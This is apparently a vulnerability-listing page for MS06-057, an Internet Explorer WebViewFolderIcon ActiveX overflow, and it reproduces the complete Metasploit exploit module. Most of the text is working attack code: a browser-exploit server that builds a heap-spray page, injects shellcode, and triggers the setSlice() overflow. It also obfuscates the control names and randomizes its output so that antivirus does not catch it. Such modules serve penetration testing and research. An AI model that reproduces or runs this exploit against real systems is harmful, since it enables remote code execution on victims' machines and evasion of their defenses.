MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow

2006-12-1702:37:45

hdm <[email protected]>

www.rapid7.com

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

JSON

This module exploits a flaw in the WebViewFolderIcon ActiveX control included with Windows 2000, Windows XP, and Windows 2003. This flaw was published during the Month of Browser Bugs project (MoBB #18).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow',
      'Description'    => %q{
        This module exploits a flaw in the WebViewFolderIcon ActiveX control
      included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
      during the Month of Browser Bugs project (MoBB #18).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hdm',
        ],
      'References'     =>
        [
          [ 'CVE', '2006-3730'],
          [ 'OSVDB', '27110' ],
          [ 'MSB', 'MS06-057'],
          [ 'BID', '19030' ]
        ],
      'Payload'        =>
        {
          'Space'          => 1024,
          'BadChars'       => "\x00",

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2006-07-17'))
  end

  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Get a unicode friendly version of the return address
    addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

    # Randomize the javascript variable names
    var_buffer    = rand_text_alpha(rand(30)+2)
    var_shellcode = rand_text_alpha(rand(30)+2)
    var_unescape  = rand_text_alpha(rand(30)+2)
    var_x         = rand_text_alpha(rand(30)+2)
    var_i         = rand_text_alpha(rand(30)+2)
    var_tic       = rand_text_alpha(rand(30)+2)
    var_toc       = rand_text_alpha(rand(30)+2)

    # Annoying AVs
    var_aname     = "==QMu42bjlkclRGbvZ0dllmViV2Vu42bjlkclRGbvZ0dllmViV2V".reverse.unpack("m*")[0]
    var_ameth     = "=U2Ypx2U0V2c".reverse.unpack("m*")[0]

    # Randomize HTML data
    html          = rand_text_alpha(rand(30)+2)


    # Build out the message
    content = %Q|
<html>
<head>
  <script>
  try {

  var #{var_unescape}  = unescape ;
  var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

  var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
  while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;

  var #{var_x} = new Array() ;
  for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {
    #{var_x}[ #{var_i} ] =
      #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
  }


  for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {
    var #{var_tic} = new ActiveXObject( '#{var_aname}' );
    try { #{var_tic}.#{var_ameth}( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
    var #{var_toc} = new ActiveXObject( '#{var_aname}' );
  }

  } catch( e ) { window.location = 'about:blank' ; }

  </script>
</head>
<body>
#{html}
</body>
</html>
    |

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end